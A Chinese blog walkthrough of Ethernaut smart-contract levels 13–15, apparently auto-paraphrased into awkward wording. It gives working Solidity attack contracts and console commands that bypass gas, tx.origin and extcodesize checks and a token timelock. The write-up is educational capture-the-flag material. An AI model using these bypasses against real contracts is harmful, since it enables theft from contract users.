Ethernaut题解2022版(下)

Ethernaut题解2022版(上)链接

13. Gatekeeper One

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

  using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

合约企图很明显,就是让我们经过gateOnegateTwogateThree三个函数修饰器的检查,执行enter函数即可。分别剖析一下经过的条件。

13.1 gateOne

对gateOne来说,msg.sender是直接调用合约的地址,而tx.origin则是这笔买卖的原始调用者,举个例子,假如有合约A、B、C、D,一次合约调用是D->B->A->C,那么关于C来说,msg.sender是A,tx.origin是D。因而只需求在外部设置一个中间合约,再依次对enter函数发起调用即可满足msg.sender != tx.origin

13.2 gateTwo

查询官方文档可知,gasleft函数返回的是买卖剩余的gas量,这个检查的条件是让gasleft为8191的整数倍。我们只需求设置gas为8191*n+x即可,其中x是我们本次买卖需求耗费的gas,这个值能够经过debug得到,然后经过call方式远程调用函数能够指定需求耗费的gas,只需指定gas为对应的x即可。

这个bypass属实坐牢,由于要经过debug方式取得标题对应耗费的gas的话,必需跟标题运用相同的编译器版本和对应的优化选项,但是并不晓得标题版本。

还有另一种思绪,就是爆破x,由于gas耗费总归是有个范围的,我们只需求在这个范围内爆破即可,见下面的攻击代码。

13.3 gateThree

这个主要调查了solidity的类型转换规则,参考链接

这里以_gateKey0x12345678deadbeef为例阐明

  • uint32(uint64(_gateKey))转换后会取低位,所以变成0xdeadbeefuint16(uint64(_gateKey))同理睬变成0xbeef,uint16和uint32在比拟的时分,较小的类型uint16会在左边填充0,也就是会变成0x0000beef和0xdeadbeef做比拟,因而想经过第一个require只需求找一个形为0x????????0000????这种方式的值即可,其中?是任取值。
  • 第二步请求双方不相等,只需高4个字节中任有一个bit不为0即可
  • 经过前面可知,uint32(uint64(_gateKey))应该是相似0x0000beef这种方式,所以只需求让最低的2个byte和tx.origin地址最低的2个byte相同即可,也就是,key的最低2个字节设置为合约地址的低2个字节。这里tx.origin就是metamask的账户地址

13.4 exploit

于是写出最终攻击代码如下,其中gas爆破局部参考这个:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface GatekeeperOne {
    function entrant() external returns (address);
    function enter(bytes8 _gateKey) external returns (bool);
}

contract attack {
    GatekeeperOne gatekeeperOne;
    address target;
    address entrant;

    event log(bool);
    event logaddr(address);

    constructor(address _addr) public {
        // 设置为标题地址
        target = _addr;
    }

    function exploit() public {
        // 后四位是metamask上账户地址的低2个字节
        bytes8 key=0xAAAAAAAA00004261;
        bool result;
        for (uint256 i = 0; i < 120; i++) {
            (bool result, bytes memory data) = address(
                target
            ).call{gas:i + 150 + 8191 * 3}(abi.encodeWithSignature("enter(bytes8)",key));
            if (result) {
                break;
            }
        }
        emit log(uint32(uint64(key)) == uint16(uint64(key)));
        emit log(uint32(uint64(key)) != uint64(key));
        emit log(uint32(uint64(key)) == uint16((address(tx.origin))));
        emit log(result);
    }

    function getentrant() public {
        gatekeeperOne = GatekeeperOne(target);
        entrant = gatekeeperOne.entrant();
        emit logaddr(entrant);
    }
}

执行exploit后执行getentrant函数查看进入者地址,能够经过日志看到曾经改动为我们的地址,提交即可

这个题算是第一个真正有点意义的。

14. Gatekeeper Two

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller()) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
  • gateOne同上,部署一个合约即可绕过
  • gateTwo触及到以太坊的汇编,其中caller()函数返回call sender,也就是call的发起者,而extcodesize则是返回对应地址的合约代码的大小(size),假如extcodesize的参数是用户地址则会返回0,是合约地址则返回了调用合约的代码大小。关于这点,需求运用一个特性绕过:当合约正在执行结构函数constructor并部署时,其extcodesize为0。换句话说,假如我们在constructor中调用这个函数的话,那么extcodesize(caller())返回0,因而能够绕过检查。
  • gateThree,一个简单的异或,我们只需求改msg.senderaddress(this)即可计算得到满足条件的key

攻击代码如下

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract attack {
    address public target;
    bytes8 key;

    constructor(address _addr) public {
        target=_addr;
        key=bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0)-1));
        (bool result,)=target.call(abi.encodeWithSignature("enter(bytes8)",key));
    }
}

15. Naught Coin

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

// import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {

  // string public constant name = 'NaughtCoin';
  // string public constant symbol = '0x0';
  // uint public constant decimals = 18;
  uint public timeLock = now + 10 * 365 days;
  uint256 public INITIAL_SUPPLY;
  address public player;

  constructor(address _player) 
  ERC20('NaughtCoin', '0x0')
  public {
    player = _player;
    INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
    // _totalSupply = INITIAL_SUPPLY;
    // _balances[player] = INITIAL_SUPPLY;
    _mint(player, INITIAL_SUPPLY);
    emit Transfer(address(0), player, INITIAL_SUPPLY);
  }

  function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
}

这个题留意一点,如今import里面那个合约会提示版本不对,由于如今ERC20.sol曾经更新到v0.8.0了,经过查历史发现v3.2.0版本还支持0.6.0编译器,因而能够修正一下导入的ERC20合约的地址

依据结构代码能够看到,标题一开端将该代币中一切的token都转移给了我们的账户,通关的请求就是我们把手里的代币全部转给另外一个。但标题对erc20的转账函数transfer做了限制,player只要10年后才干转账,因而需求绕过。

这里很简单,由于localTokens只限制了transfer函数的msg.sender不能为player,但在限制erc20规范中还有另一个转账函数transferFrom,其函数原型如下:

function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

但留意一点是,在转账前需求先运用approve函数受权,然后再调用此函数转账即可。代码很简单,在标题控制台执行

//secondaddr是另外一个账户地址
secondaddr='0xCB3D2F536f533869f726F0A3eA2907CAA67DDca1'
totalvalue='1000000000000000000000000'
//给本人受权
await contract.approve(player,totalvalue)
await contract.transferFrom(player,secondaddr,totalvalue)
------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞6赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像撒的0